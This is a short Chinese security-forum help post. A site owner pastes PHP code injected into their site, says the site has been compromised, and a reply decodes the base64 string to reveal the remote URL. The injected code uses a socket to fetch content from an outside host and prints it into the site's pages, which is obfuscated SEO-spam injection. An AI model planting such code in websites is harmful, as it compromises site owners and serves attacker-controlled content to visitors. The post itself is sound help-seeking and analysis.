瑞星卡卡安全论坛

<?php
function readurl($url)
{
$urlarr = explode('/',$url);
$host = $urlarr[2];
$get = str_replace('http://'.$host,'',$url);
$fp = @fsockopen($host,80);
@fputs($fp,"GET ".$get." HTTP/1.1\r\nHost:".$host."\r\nConnection: Close\r\n\r\n");
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 512);
@fclose($fp);
$tmp = array();
preg_match_all("/\<div([^~]*?)\<\/div\>/i",$resp,$tmp);;
return $tmp[0][0];
}
echo readurl(base64_decode('aHR0cDovL2Jicy5jY251LmNvbS5jbi9tYW55b3UvYXBpL25ld2Rpci9zZW8ucGhw'));
?>
被挂 不知道什么意思

用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)

base64_decode('aHR0cDovL2Jicy5jY251LmNvbS5jbi9tYW55b3UvYXBpL25ld2Rpci9zZW8ucGhw'));解密得到这个网址：
http://bbs.ccnu.com.cn/manyou/api/newdir/seo.php